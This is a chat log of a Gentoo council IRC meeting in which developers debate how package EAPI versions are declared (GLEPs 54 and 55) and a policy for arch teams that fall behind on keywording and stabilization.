+[22:25:48] <ferringb> peper: not really imo, I'm looking for specific complaints leveled towards EAPI beyond "functions have to check it in the global scope to see if they support it"- that one is addressable w/ a few tweaks to existing eapi mechanism
+[22:26:53] beandog [n=steve@!hgentoo/developer/beandog] has quit IRC: Excess Flood
+[22:27:20] beandog [n=steve@!hgentoo/developer/beandog] has joined !c#gentoo-council
+[22:27:42] <peper> ferringb: and I am looking for technical objections to that GLEP, it solves all the problems nicely, in a backwards and forwards compatible way
+[22:27:52] Cardoe [n=cardoe@!hgentoo/developer/Cardoe] has joined !c#gentoo-council
+[22:27:54] <genone> lu_zero: well, lots of things are possible, I think the ML thread contains some drawbacks for the other solutions but I'd have to check (can't do that now)
+[22:28:31] <jmbsvicetto> genone: One question I didn't see a clear answer about was the one about using xml files. Is it a no-no to have eapi set on metadata.xml?
+[22:28:39] <ferringb> peper: the scenario of post-source being supported, but pre-source serving as a mask can play out via an eclass setting eapi however btw, so that one still is a valid scenario (it's considered a QA bug under the glep, 'cept I'm willing to bet it'll pop up in overlays)
+[22:28:42] <Caster> I liked the idea of eapi string not going at the very end, keeping the suffix constant
+[22:29:07] <@Betelgeuse> The sub directories approach would work for that.
+[22:29:23] <@Betelgeuse> The performance issue shouldn't really matter as users are using the metadata cache any wya.
+[22:29:35] <genone> jmbsvicetto: well, metadata.xml is ... complicated if you only want to target specific versions (and currently portage doesn't use metadata.xml in any way)
+[22:29:37] <peper> ferringb: the idea of the GLEP is to get rid of post-source eapi. the specification is for the package managers to get the backwards compatibility right
+[22:29:47] <@Betelgeuse> Also would need factual data if there is anything significant any way.
+[22:29:52] <ferringb> peper: technical objection to the glep basically comes down to "why punt whats there, when whats there works and can be tweaked to keep working"- I don't claim EAPI will work if the ebuild format shifts away from bash, but EAPI was intended for bash ebuilds only, expected newer formats to do versioning their own way
+[22:29:53] <peper> devs are supposed to use pre-source only
+[22:30:17] <@FlameBook> Betelgeuse, I would like to hear from infra about that as iirc CVS isn't nice with loads of directories
+[22:30:31] <@Betelgeuse> FlameBook: true
+[22:30:37] <peper> Betelgeuse: you first look for ebuild, then look at the cache
+[22:31:18] <@Betelgeuse> peper: to see if the cache is valid?
+[22:31:50] <ferringb> peper: additional thing the glep should doc, exactly what the manager does when it encounters a post-source EAPI it doesn't support cache wise (including regeneration of that entry if the manager sees that entry, and now supports that EAPI)
+[22:31:53] <peper> generally, you query cache for stuff, not traverse it
+[22:32:02] <genone> the subdir approach is nasty besides the performance issues
+[22:32:15] <ferringb> genone: agreed by all, I suspect
+[22:32:35] hncaldwell [n=hncaldwe@!hgrey.iitsystems.csupomona.edu] has joined !c#gentoo-council
+[22:33:04] <Cardoe> this is all starting to sound like over-design
+[22:33:11] <Cardoe> designing for a situation that will never happen
+[22:33:15] <Cardoe> KISS
+[22:33:52] <jakub> Cardoe++
+[22:34:00] <@Betelgeuse> well this hsould be useful for changing how inherit behaves etc
+[22:34:03] <peper> you are just not thinking enough
+[22:34:05] Ken69267 [n=Ken69267@!hgentoo/contributor/ken69267] has joined !c#gentoo-council
+[22:34:15] <peper> yep
+[22:34:30] <genone> as I said: the specification section is ok, but the motivation section needs a huge workover
+[22:34:38] <@lu_zero> Betelgeuse must it be changed?
+[22:34:55] <@Betelgeuse> lu_zero:  it was just an example of what this enables
+[22:35:07] <ferringb> peper: question for you; did you look at converting EAPI=N to eapi N, ie, forcing a func so the manager sourcing can bail at that point if unsupported; either way, I'd suggest expanding the glep to counter-arg that one since it's a solution to the inherit problem
+[22:35:59] <peper> for one, it's not backwards compatible
+[22:36:18] <@Betelgeuse> peper: well we would just have agree on profile.bashrc
+[22:36:18] <ferringb> peper: via bashrc stuck into the repo, it is
+[22:36:26] <ferringb> interim compatibility func basically
+[22:36:47] <genone> ferringb: paludis doesn't use profile.bashrc according to ciaranm
+[22:36:58] <@Betelgeuse> genone: yeah I think so too
+[22:37:14] <@Betelgeuse> There is lots of Portage specific hacks in profile.bashrc atm
+[22:37:14] <genone> not that I care ...
+[22:37:23] <ferringb> without the func, the ebuild gets sourced fully, and the manager sees the unsupported EAPI at the end of sourcing, does the usual thing (probably with a few errors spat during it); with the func, the manager bails at the first imperative sign of an unsupported eapi, thus bypassing any visibile errors.
+[22:37:25] <@Betelgeuse> but they could be put under some conditional
+[22:37:33] <Caster> we don't need back compatibility for paludis at this point
+[22:38:13] <ferringb> peper: so... imo, it's backwards compatible- sorry to spring it on you during this meeting rather then ML prior also ;)
+[22:39:15] <peper> it doesn't allow to change the versioning spec and I see it useful
+[22:39:26] <Caster> can newer portage easily ignore the eapi in bashrc then?
+[22:39:52] <@lu_zero> peper versioning spec changes aren't being approved
+[22:39:57] <@lu_zero> don't be circular
+[22:40:03] <ferringb> peper: versioning spec is a repo level compatibility issue imo, although you could argue other wise; again, I'd try to get that one doc'd out also, cause I know genone (and myself in this case) both via it as not the ebuild formats versioning responsibility
+[22:40:16] <ferringb> s:via it:view it:, pardon
+[22:40:34] <genone> peper: question: is glep54 the main (only?) motivation for glep55 for you?
+[22:40:50] <peper> no, it's a coincidence
+[22:41:55] <@jokey> can you give some real world examples, where this pre-source information is needed then?
+[22:43:10] <@jokey> as inherit-behavior-change is possible without it
+[22:43:33] <@vapier> so is there a reason we cant just force EAPI as the first line in an ebuild ?
+[22:43:38] <@vapier> is there some limitation i'm not aware of ?
+[22:43:52] <peper> vapier: backwards compatibility for one
+[22:43:53] <Philantrop> jokey: The PM will never have to read *any* content that might potentially cause it to die horribly because of EAPI issues. It sees a pre-source EAPI spec that it isn't compatible with and thus simply won't touch it and consequently avoid any potential problems easily.
+[22:44:06] <@vapier> peper: not really
+[22:44:17] <@vapier> and certainly *a ton less so* than changing the naming spec
+[22:44:25] <@jokey> Philantrop: still I want a real world example that breaks the sourcing that horrible
+[22:45:00] <@lu_zero> Philantrop having all non ebuilds in a package dir would break in a more spectacular way
+[22:45:44] <Philantrop> jokey: We don't have it yet so that's a bit hard. :-) It's something that opens the door for easier development in the future and improved transitions from one EAPI version to the next.
+[22:45:48] <@lu_zero> and I'm not sure about how manifests should be generated
+[22:45:58] <ferringb> Philantrop: that is achievable via the tweak adding an eapi func also; what we're talking about here re: "die horribly" is moreso "fail the sourcing, noting the EAPI and spitting noise at the user" also :)
+[22:46:50] <@vapier> Philantrop: claiming it'll happen in the future, just not now, isnt really an example
+[22:46:54] <Philantrop> ferringb: I'm not sure I understand you. You refer to users being confused by the output?
+[22:46:59] windzor [n=windzor@!h84.238.69.216] has quit IRC: Remote closed the connection
+[22:47:03] <@vapier> it's also a good argument for delaying the change until needed for real
+[22:47:17] <@vapier> instead of engineering for something that may not occur
+[22:47:52] <@jokey> vapier: exactly my point :)
+[22:48:03] <ferringb> Philantrop: no, what I'm saying is that a sane manager checks EAPI on the way out, as part of the metadata generation process.  if the EAPI is unsupported, and the new eapi added some global functions, *worst* you see is some screwed up metadata and errors spat to the users term on sourcing
+[22:48:18] <ferringb> Philantrop: it doesn't kill the manager (or shouldn't, if the manager is implemented sanely imo), it just is slightly ugly
+[22:48:38] <Philantrop> vapier, jokey: Why should we always operate *reactively*?
+[22:48:45] <ferringb> Philantrop: introducing an eapi func (which can be transitioned to via profile.bashrc) eliminates the inherit arg, and eliminates the potential for bash complaints to be spat during sourcing
+[22:49:13] <Cardoe> vapier: exactly what I meant by my previous comments
+[22:49:13] <@jokey> Philantrop: because acting proactive without a real value (you can't even come up with a potential example) doesn't make sense
+[22:49:17] beandog [n=steve@!hgentoo/developer/beandog] has quit IRC: "Leaving"
+[22:49:35] <Cardoe> if we over-design and work on engineering something that MIGHT happen, but never happens
+[22:50:04] <Cardoe> rather then engineering a logically extensible method (what EAPI itself provides), that can be in the future changed as things necessitate.
+[22:50:09] <Philantrop> ferringb: I see what you mean now but I can't say much more than that what was said on the -dev ml already. And so I go back to lurking here.
+[22:50:27] <@vapier> plus, this doesnt really address what started it all ... allowing eclasses to use a different EAPI from an ebuild
+[22:50:31] p-y [n=p-y@!hgentoo/developer/p-y] has quit IRC: Read error: 110 (Connection timed out)
+[22:50:45] <Cardoe> vapier: right. that was the whole point that spawned this whole thing.
+[22:50:58] <genone> vapier: well, that's simply not possibly, no matter how you define EAPI
+[22:51:00] <Cardoe> vapier: instead we've added about 12 steps of complexity and didn't even solve the original thing.
+[22:51:07] <peper> eclasses can't define EAPI
+[22:51:14] <@vapier> why not ?
+[22:51:23] <@vapier> why cant we segment things logically
+[22:51:39] <genone> vapier: which EAPI is effective: the calling env or the definition env?
+[22:51:53] <@vapier> genone: segment things logically
+[22:51:53] <ferringb> genone: could you rephrase the question please (didn't get the meaning there)
+[22:52:02] <peper> vapier: what do you mean?
+[22:52:08] <@vapier> eclasses are not affected by the ebuild at all
+[22:52:18] <@FlameBook> considering we have two other points on today's list, do we want to take a decision on this, postpone it, or what?
+[22:52:22] <@vapier> eclasses can use different EAPIs independently from the ebuild
+[22:52:37] <ferringb> vapier: not true, imo
+[22:52:49] <@vapier> might as well push it back to the list
+[22:52:59] <ferringb> vapier: eapi is a definition of the env (vars, funcs), switching the env dependant on ebuild/eclass context isn't viable imo
+[22:53:03] <genone> ferringb: see http://article.gmane.org/gmane.linux.gentoo.devel/53354
+[22:53:21] <peper> I think you meant vapier
+[22:53:23] <@vapier> ferringb: having one env force/imply restrictions on the other is bad
+[22:53:51] <Cardoe> vapier: it also brings up the point that eclasses are abused and enibbles or elibs need to be available.
+[22:53:55] <@vapier> it means all consumers of an eclass need to worry about the eclass which sort of defeats the purpose of the eclass -- not having to worry about its contents
+[22:54:11] fmccor [n=fmccor@!hgentoo/developer/fmccor] has quit IRC: "Leaving"
+[22:54:15] <genone> vapier: http://article.gmane.org/gmane.linux.gentoo.devel/53354 <- answer those questions please if you want different EAPIs
+[22:54:37] <ferringb> vapier: agree with you in principle, disagree on implementing it however ;)
+[22:54:51] <@vapier> i'm not trying to imply the implementation is trivial
+[22:55:05] <genone> i's a conceptual problem
+[22:55:08] <@vapier> regardless, back to the list and us on to the next item
+[22:55:11] fmccor [n=fmccor@!hgentoo/developer/fmccor] has joined !c#gentoo-council
+[22:55:50] <@jokey> with vapier here, should be postponed to next meeting
+[22:56:00] <@vapier> no
+[22:56:12] <@vapier> pushed to the list until resolved, and then back to the council
+[22:56:24] <@FlameBook> so it's a "rejected in this state"?
+[22:56:52] p-y [n=p-y@!hmas91-3-88-163-239-36.fbx.proxad.net] has joined !c#gentoo-council
+[22:56:53] rangerpb [n=baude@!hgentoo/developer/rangerpb] has quit IRC: "Leaving"
+[22:57:11] aballier [n=alexis@!hgentoo/developer/aballier] has joined !c#gentoo-council
+[22:57:30] <@vapier> FlameBook: there was no voting involved, thus no rejection
+[22:57:43] <+musikc> needs further discussion
+[22:57:44] <@vapier> we were merely discussing the GLEPs, no request for voting
+[22:58:22] <@dberkholz> fwiw, i'm back but catching up on backlog
+[22:58:24] <@FlameBook> okay, let's go to "need further discussion" as musikc said then
+[22:58:48] <@FlameBook> dberkholz, that is perfect as we're moving to CoC :)
+[22:58:54] <+musikc> hehe
+[22:58:55] <@jokey> timing++ ;)
+[22:58:56] <peper> I am going to repost the GLEPs as is and hope you guys ask your questions there
+[22:59:33] <Caster> peper: as is? so no argument for why eapi() function can't help?
+[22:59:36] <@SpanKY> ive lost the agenda URI from my scrollback
+[22:59:44] <@jokey> SpanKY: see topic
+[22:59:44] <@FlameBook> SpanKY, http://dev.gentoo.org/~dberkholz/20080110_summary.txt
+[22:59:55] <@vapier> well that'd be too obvious
+[23:00:01] <@dberkholz> vapier: /topic
+[23:00:03] <@jokey> FlameBook: I grabbed it from dberkholz and completed it
+[23:00:15] <@FlameBook> jokey, ah I didn't even see it in the topic
+[23:00:48] Zephyrus [n=emanuele@!h81-174-11-81.static.ngi.it] has quit IRC: Client Quit
+[23:01:22] <peper> Caster: oh ok. I will add this one
+[23:01:32] <@dberkholz> i'm caught up to the first hour, another hour of backlog to go
+[23:01:43] <@lu_zero> ^^;
+[23:02:22] <@jokey> so pushing back to -dev is agreed on ? then we can move over to CoC discussion
+[23:03:04] <peper> jokey: the subjective part of the summary in GLEP 54 is wrong
+[23:03:36] <ferringb> peper: if you want me to give the eapi() a read over (since I'll be commenting on it either way), email me and I'll try to get back to you w/in the day
+[23:03:38] <@jokey> right, missing inherit breakage, adding that
+[23:03:50] <@jokey> done
+[23:03:58] <peper> as there is no way to distinguish between pkg_name and pkg_name-version on its own/, but it's not necessary anyway
+[23:04:10] <peper> jokey: I meant GLEP 54
+[23:04:33] <peper> the subjective part is just wrong, I thought it was established
+[23:05:43] <@jokey> well as it will have a log attached either way, I'm removing that line altogether
+[23:05:52] <@jokey> you're right, it's a bit subjective
+[23:06:19] <peper> no, it's not true
+[23:06:25] <peper> as there is no way to do it currently
+[23:06:38] fmccor thought he knew how to run long meetings. :)
+[23:07:00] <@jokey> anyway, pushed back to -dev ML
+[23:07:07] <peper> right
+[23:07:47] <@lu_zero> peper do what?
+[23:07:58] <@jokey> so ladies and gentlemen, let's move over to CoC now
+[23:08:03] <@lu_zero> ok
+[23:08:24] <peper> lu_zero: tell whether a string is a pkg or pkg-ver
+[23:08:42] FlameBook is probably going with "whatever donnie says" :P
+[23:09:47] <@lu_zero> dberkholz are you ready?
+[23:09:58] <@dberkholz> i'm at 20 minutes ago, so almost
+[23:10:02] <genone> peper: it is possible, your example didn't work out, also see bug !c#174536
+[23:10:05] <jeeves> genone: https://bugs.gentoo.org/174536 min, P2, All, degrenier@easyconnect.fr->pms-bugs@gentoo.org, NEW, pending, "Package names" spec not restrictive enough
+[23:10:26] <@vapier> done people, moving on
+[23:10:38] <@vapier> dont make us go +m on j00
+[23:10:52] <@dberkholz> feel free to skip to slacker arches and come back to CoC in a bit
+[23:11:07] genone just dislikes misinformation
+[23:11:15] <@dberkholz> not really sure there's anything to discuss on the slacker point, though.
+[23:11:24] <@vapier> how so ?
+[23:11:35] <@vapier> or rather, we jumping to slacker first ?
+[23:12:26] <@dberkholz> that's my suggestion, yeah.
+[23:12:45] <@dberkholz> hopefully it will go faster, and then people uninterested in the CoC can leave
+[23:12:52] <@FlameBook> kumba's mail was quite reasonable, so I don't think there's much to discuss, I suppose it could work out by just leaving the options of devs asking de-keywording on ebuild basis
+[23:13:20] <@Betelgeuse> as long as there is someone to ask
+[23:13:20] <@vapier> except that didnt really work out
+[23:13:29] <@vapier> there was no response
+[23:13:34] <jakub> FlameBook: is there someone going to respond to those mails? wasn't my experience so far....
+[23:13:51] <jakub> even when remove keyword was explicitely and repeatedly requested
+[23:14:08] <@vapier> i think what Richard posted is a pretty reasonable
+[23:14:12] <@vapier> http://article.gmane.org/gmane.linux.gentoo.devel/54103
+[23:14:13] <@FlameBook> jakub, well, kumba answered to gentoo-dev... I don't think we should _force_ it now
+[23:14:41] <@vapier> perhaps extend the dates to give more leeway to arches, but there has to be a cut off point
+[23:14:44] <jakub> FlameBook: I'm totally fine w/ that if you are going to create a working way to do it :)
+[23:14:52] <@vapier> otherwise maintainers who get tired of waiting will eventually do it
+[23:14:55] <@vapier> and then the arches get pissed
+[23:15:00] <@vapier> yell and point at policy
+[23:15:05] <@vapier> and it's the maintainer getting screwed
+[23:15:09] <jakub> nod
+[23:15:09] <@vapier> when in reality that isnt right
+[23:15:36] <ferdy> I'd like you to consider what I posted to that same thread: http://mid.gmane.org/20080109121309.GA14454@ferdyx.org
+[23:15:57] <jakub> vapier: maybe more flexible, but still needs some hard deadlines so that it doesn't become useless
+[23:16:00] <@vapier> the only responses i saw from you were "no"
+[23:16:57] <jakub> ferdy: wrt the maintainer question you've posted there... it is different, you can retire a maitainer, noone ever retired an arch yet
+[23:17:05] <@jokey> what about we do some "% packages stabled, % packages behind requests for time X -> transition to ~arch"
+[23:17:19] <ferdy> jakub: retiring a maintainer doesn't solve the issue...
+[23:17:34] <jakub> ferdy: sure it doesn't, but it
+[23:17:43] <jakub> 's still lot better than ignoring inactive people
+[23:17:43] <@FlameBook> vapier, well, I actually like Richard's proposal
+[23:18:08] <@vapier> ferdy: with arches, you're forcing maintainers to sit on things indefinitely with no reaction, which quickly chains to large !c# of affected packages
+[23:18:09] <jakub> ferdy: someone can take over the package once the slacking maintainer has retired...
+[23:18:16] <@vapier> with a maintainer slacking, the issue is isolated to one package
+[23:18:31] <jakub> and what vapier said, yeah
+[23:18:31] <@vapier> you can trivially cull a package, you cant trivially cull an arch
+[23:18:34] kingtaco|laptop [n=kingtaco@!hgentoo/developer/kingtaco] has quit IRC: Read error: 110 (Connection timed out)
+[23:18:39] <jakub> ain't the same situation
+[23:18:50] <@vapier> and you can transition arches to a state that keeps maintainers happy
+[23:19:14] <ferdy> vapier: in that particular bug I posted. I would suffer from the same 'maintenance burden'.... should I, for instance, add blockers
+[23:19:18] <@amne> just a quick thought before this gets more into detail, do we want to address just this one situation or come up with a general policy for all possible times an issue like this comes up?
+[23:19:26] <jakub> seriously, why's mips so much objecting to becoming ~arch/indev? would shut up the maintainers mostly
+[23:19:43] <@vapier> no one who matters is objecting
+[23:19:43] <ferdy> please note that I personally deny that maintenance burden existing, but I think it is the very same situation
+[23:19:57] <@dberkholz> jakub: no active mips developer (kumba or redhatter) has objected to that
+[23:20:00] <@vapier> take that thread, cull the irrelevant, and you have a few e-mails to read
+[23:20:07] <@vapier> ferdy: how would you suffer ?
+[23:20:12] <@vapier> i honestly dont see it
+[23:20:18] <@vapier> please 2 elaborate
+[23:20:21] <jakub> dberkholz: well sorry then, that's what I've always heard from the folks until now :)
+[23:20:36] p-y [n=p-y@!hmas91-3-88-163-239-36.fbx.proxad.net] has quit IRC: Read error: 110 (Connection timed out)
+[23:20:39] <ferdy> I don't see it either.... but leaving versions in the tree forever is said to cause maintenance burden
+[23:20:54] kingtaco|laptop [n=kingtaco@!hgentoo/developer/kingtaco] has joined !c#gentoo-council
+[23:20:55] <ferdy> which is one of the arguments in favour of "killing the mips team altogether!!!!one"
+[23:20:56] <@vapier> ferdy: i'm talking about why you think 181275 is relevant
+[23:20:59] <Cardoe> jakub: just ignore non-Gentoo developers e-mails and read official Gentoo dev e-mails and you'll see that the Gentoo devs agree with it
+[23:21:16] <jakub> ferdy: sure it is... repoman commit breaks when you want to punt obsolete broken junk... etc. etc.
+[23:21:16] <@vapier> ferdy: there will be no killing of mips
+[23:21:42] <@vapier> there will most likely be ~arching of mips which is very different from killing
+[23:21:43] <ferdy> vapier: I have to leave older versions around until that issue is solved
+[23:22:09] <@vapier> ferdy: you need to leave old versions of git in the tree until uClibc is fixed ?
+[23:22:14] <@vapier> i dont think so, remove the old versions
+[23:22:28] <jakub> ferdy: you are wasting time on investigating which broken cruft can't be removed just b/c noone responded on a bug for years... now imagine major package redesigns, becomes a huge PIT
+[23:22:28] beandog [n=steve@!hgentoo/developer/beandog] has joined !c#gentoo-council
+[23:22:38] <@vapier> jakub: please shush
+[23:22:48] <jakub> sure ;)
+[23:23:33] <ferdy> vapier: imagine it'd hold stabilization of newer versions.... it is not ONLY arch teams that can cause that 'problem', which is why I wanted the discussion to be more general
+[23:24:03] <@vapier> ferdy: ive been telling people not to cater specifically to uClibc when it is a burden on them and the problem lies in uClibc
+[23:24:17] <ferdy> yeah, forget uClibc for now
+[23:24:21] <@vapier> sure
+[23:24:33] <@vapier> can you propose other examples ?
+[23:24:50] <@vapier> the only ones i can come up with are keeping old things around to support broken things
+[23:24:56] <@vapier> and the answer is to fix or cull the broken things
+[23:25:35] <@vapier> the only thing that has come up on the mailing list is arches holding it back
+[23:25:49] <@vapier> so if you can show other general issues, i'd be happy to extend the proposal
+[23:26:15] <@vapier> as it is, i'd be looking for probably 2x the time frames Richard put forth
+[23:26:20] <@vapier> [ http://article.gmane.org/gmane.linux.gentoo.devel/54103 ]
+[23:26:48] <@vapier> as you say, this is a volunteer basis, and people can easily get tied up
+[23:27:15] <@dberkholz> 2 and 4 months, instead?
+[23:27:26] <@dberkholz> 4 months is an awfully long time to wait
+[23:27:57] <ferdy> vapier: I can't really give you more *examples* now (I think the reasoning is still valid), feel free to ignore it.
+[23:28:09] <@vapier> ferdy: i dont intend for us to decide today on the issue
+[23:28:32] <@vapier> i want us to put forth the recommendation to the list and the understanding is we'd decide next meeting
+[23:28:36] <@vapier> i think that's reasonable ?
+[23:28:47] <@Betelgeuse> sure
+[23:29:13] <@dberkholz> i don't think i'd quite go 2x, but i could see a sort of 1.5-ish
+[23:29:24] <@vapier> dberkholz: it is and it isnt ... maybe it's me, but i see a month shoot by in Gentoo world and not even realize it
+[23:29:26] <@dberkholz> 3 months doesn't feel quite as forever
+[23:29:27] <@Betelgeuse> The proposal should probably say something about reserve deps
+[23:29:47] <@dberkholz> vapier: guess that depends on whether it's a month waiting for someone else to do something you care about. =)
+[23:29:59] <ferdy> vapier: sure, it is reasonable
+[23:30:08] <@vapier> i would make it dependent on the profile
+[23:30:22] <@vapier> if the profile is set to "stable", then the reserve deps would need to be fixed
+[23:30:35] <@vapier> but if it's set to "dev"+, then let it break
+[23:31:00] <@dberkholz> it shouldn't be difficult to come up with some sort of scripts/tools to deal with that
+[23:31:02] <@vapier> the burden is on the arch guys to resolve it, and it wouldnt break systems anymore than if you went through the revdeps
+[23:31:12] <@dberkholz> if they don't already exist
+[23:31:26] <jakub> vapier: does this 2+4 months suggestion include security issues, or should that be a separate policy?
+[23:31:30] <@vapier> and it would actually be better for the arch guys -- fix the failing package and dont have to re-keyword the revdeps
+[23:32:06] <@vapier> people groan when the word security pops up, but i dont think it's relevant
+[23:32:30] <jakub> just asking ;)
+[23:32:36] <@vapier> removing a security affected package wont force any additional upgrades on any systems
+[23:32:47] <@vapier> world -Dup would give same result
+[23:33:12] <@vapier> i'm doing a lot of talking here
+[23:33:22] <@dberkholz> it's great.
+[23:33:37] <@dberkholz> i'm used to doing all the talking. maybe i should start coming an hour late every time.
+[23:34:11] FlameBook proposes that next meeting starts only once dberkholz is settled down :P
+[23:34:25] <@FlameBook> dberkholz, I'm also used to _you_ doing all the talking ;)
+[23:34:33] <Philantrop> vapier: KDE would prefer the 1.5x suggestion of dberkholz'.
+[23:34:50] <@jokey> with dberkolz, writing up tools if needed shouldn't be much of an issue if really needed
+[23:35:02] <jakub> vapier: mkay.... more precisely... should security be allowed to punt stuff if some arch is totally non-responsive for lets say over a year?
+[23:35:13] <@vapier> ferdy: if you had a choice of timelines, does the 2x vs 1.5x really make a difference for you ?
+[23:35:40] <@vapier> jakub: what we're talking about already allows culling at half that time
+[23:35:57] <@vapier> ferdy: i know you're one of our over burdened arch guys ;)
+[23:35:57] <jakub> vapier: thanks, answers my question :)
+[23:36:17] <@vapier> but we need to balance things here, and i'm afraid it's fallen too far towards the arch currently
+[23:37:33] xjrn [n=chatzill@!hc-24-4-108-16.hsd1.ca.comcast.net] has joined !c#gentoo-council
+[23:38:11] <@vapier> perhaps an additional bugzilla keyword would help as well for arch teams to really eck out the way past due
+[23:38:15] <@jokey> well there has been a lot of noise on -dev also which seems to have made it kind of hard to discuss just the topic and not the arch as such
+[23:38:17] <jmbsvicetto> vapier: This discussion is beyond the current mips issue, right? Having mips move to only ~mips is on the table, right?
+[23:38:17] <@vapier> CULLREQ
+[23:38:43] <@vapier> jmbsvicetto: i'm not picking on mips here, this applies to everyone
+[23:38:55] <@vapier> i imagine ive slacked more than other devs would like with some arch keywording
+[23:39:11] <@vapier> i know ive lost arch on somethings, but i dont blame the maintainers for doing it
+[23:39:15] <jakub> vapier: damn remove yourself from CC when done </rant> :P
+[23:39:24] <@Betelgeuse> vapier: and use echangelog
+[23:39:38] <ferdy> "Ebuild Stabilization Time" what happens when that period finishes ?
+[23:39:41] <@Betelgeuse> vapier: But arm/sh/whatever don't have the coverage of mips I think
+[23:39:50] <@vapier> jmbsvicetto: i imagine as a consequence of this agreement, maintainers will start the mips=>~mips
+[23:39:59] <@FlameBook> Betelgeuse, better than mips for what I maintain at least
+[23:40:01] <@dberkholz> should be easy enough to add all that to your keywording script with pybugz
+[23:40:21] <@Betelgeuse> dberkholz: Is that working nowadays?
+[23:40:22] <@vapier> but this would have applied to other arches in the past
+[23:40:28] <@Betelgeuse> dberkholz: Last time I tried it didn't work.
+[23:40:30] <beandog> Betelgeuse, http://spaceparanoids.org/gentoo/gpnl/stats.php?q=arch
+[23:40:34] <@vapier> we just dont have vocal peeps for other teams like mips
+[23:40:35] <@dberkholz> Betelgeuse: yep. wanna talk more about it, let's do that in !c#-dev
+[23:40:37] <ferdy> the first paragraph of "Removing Stable Ebuilds." is what really really makes me nervous
+[23:41:14] <@dberkholz> does that really mean removing so there's no stable version, or does it mean forcibly stabling a newer version?
+[23:41:16] <@vapier> oh, i also forgot ... there needs to be a fallback for arches to explicitly pin a version indefinitely ... with the understanding that they'd be responsible for its up keep
+[23:41:44] <@vapier> i do not think force stabilization by a non-arch maintainer makes any sense
+[23:42:02] <@FlameBook> vapier, metadata.xml allows restricted maintainership, that would work, I suppose
+[23:42:20] <@vapier> i know there's a few packages where s390 explicitly requires old versions of packages
+[23:42:24] <@dberkholz> ok, so instead of giving something marked stable that might be broken, we give them no ebuild at all.
+[23:42:26] <@vapier> dictated by ibm
+[23:42:34] <@vapier> dberkholz: they get ~arch
+[23:42:42] <jakub> vapier: well... similar fallback is feasible with single packages... not stuff like KDE I'd say... yeah, toolchain and similar for sure
+[23:43:01] <@dberkholz> they get no ebuild at all without changing their configuration, which is exactly the same situation they'd be in if we force-stabled
+[23:43:02] <jmbsvicetto> ferdy: In the case of kde, 3.5.5 is the only version with any mips keywords. So if that gets removed, mips will lose kde
+[23:43:32] <@vapier> dberkholz: i think it sort of violates the guarantee that stable brings
+[23:43:53] <@vapier> a package marked stable is an implicit guarantee from the arch maintainer that the version is known/supposed to work
+[23:44:00] <@dberkholz> that was my possible "con" too, wasn't sure whether others would share it
+[23:44:13] <@FlameBook> I agree with mike on this
+[23:44:34] <@dberkholz> as not an arch person or a stable user, it's not exactly my best area
+[23:45:14] <jakub> well... /me notes that, while talking about mips, tons of their 'stable' packages cannot compile on stable system at all
+[23:45:15] <@vapier> presumably arches that get enough noise that their stable is going away should be able to muster some workflow to get newer versions stabilized
+[23:45:27] <@vapier> we're not talking about mips
+[23:45:31] <@vapier> stop mentioning mips
+[23:45:52] <jakub> vapier: mkay... abstractly then :p should the maintainer be allowed to stabilize newer version in this case, or drop to ~arch
+[23:46:07] <@vapier> in the case where a package would lose all stable keywords, if there are users affected, they'd convey to a maintainer that version FOO works, so the maintainer would have something to go on
+[23:46:20] <@vapier> (arch maintainer there)
+[23:46:29] <@vapier> which is a hell of a lot better than a package maintainer picking random versions and moving it
+[23:46:51] <ferdy> in an ideal world, non-arch maintainers won't touch arch keywords (aside of ~all for bumps and that kind of stuff, of course)
+[23:47:06] <jakub> vapier: not talking about arch testers/maintainers... simply stuff that fails to compile w/ current toolchain/base system stuff or similar
+[23:47:16] <@Betelgeuse> ferdy: would be doable on the server side.
+[23:47:20] <jakub> what's the value of 'stable' keyword there, it's useless
+[23:47:41] <@vapier> ferdy: in an ideal world, the arch maintainers would be able to keep up
+[23:47:45] <ferdy> jakub: 'worked with a stable system when it was tested'
+[23:47:47] <@vapier> but that isnt always the case
+[23:47:54] <ferdy> vapier: that was the second part of my sentence, sorry....
+[23:48:00] <@vapier> np
+[23:48:09] <jmbsvicetto> vapier: There's another issue in here, whether a maintainer should be forced to have a keyword added for an arch that has failed to keep up.
+[23:48:17] <@FlameBook> well, I'm sorry to bail out before time, but fever is getting its way through my mind at the moment
+[23:48:21] <jakub> ferdy: well... yeah it worked once upon a time, does not any more... no mre stable
+[23:48:25] <ferdy> so we have to find a way for maintainers won't be affected when arch teams aren't able to keep up without messing anyones work
+[23:48:38] <@FlameBook> I'm fine with whatever vapier thinks is fine, he knows the problem and I trust he'll do the right thing.
+[23:49:00] <@vapier> jmbsvicetto: i dont follow ... pkg maintainers are not allowed to move ~arch to arch
+[23:49:10] <@FlameBook> as for CoC I already said I'm okay with whatever dberkholz decides, as he's way more experienced than me in that regard, and I also trust him on that issue
+[23:49:11] <@vapier> the proposal is to allow pkg maintainers to drop arch after a timeout
+[23:49:33] <jakub> good, finally an answer... :)
+[23:49:38] <@FlameBook> night 'rybody
+[23:49:41] FlameBook [n=intrepid@!hamarok/helper/flameeyes] has quit IRC: "Leaving"
+[23:50:01] <ferdy> jmbsvicetto: well... I think there shouldn't be a discussion about that. Arch teams' opinion is final, IMHO
+[23:50:11] <@vapier> i'll take Richard's proposal, tweak it according to input here, and send it out, and we can decide on it next meeting
+[23:50:18] <@vapier> aye ?
+[23:50:21] <@lu_zero> fine
+[23:50:25] <@dberkholz> sounds reasonable
+[23:50:49] <@jokey> +1
+[23:50:49] beandog [n=steve@!hgentoo/developer/beandog] has quit IRC: "Leaving"
+[23:50:55] <jakub> well, one more thing... should a maintainer be allowed to ban $arch from keywording his package?
+[23:50:57] <jmbsvicetto> vapier: No. Let me give an example. Maintainer of package xyz has had problems with 1 or more arches being able to mark stable or even keyword said package. Things get to a point where the package has one last, old version marked stable / keyworded on said arches. Should arch teams have the power to keep the keyword for that package when the maintainer doesn't want to depend on said arches any more?
+[23:51:10] <jmbsvicetto> vapier: Assuming those timelines have been broken by the arch teams
+[23:51:37] <@vapier> jmbsvicetto: it's a case by case basis which the maintainers/arches should agree on
+[23:52:07] <jmbsvicetto> vapier: Well, what about cases where maintainers don't want to have that overhead anymore and the arch team won't cooperate?
+[23:52:08] <@vapier> if the arch truly needs the older version, then they can keep it and they're responsible for maintaining it
+[23:52:24] <@vapier> if they simply dont have the time to test a newer version, then the arch team loses
+[23:53:05] <@vapier> we cant account for maintainers and arches being asshats
+[23:53:19] <@vapier> if the two truly cannot come to a decision, they can ask a higher power (probably us) to decide
+[23:53:23] <@jokey> vapier: as you'll post a revisited version, can we move to CoC?
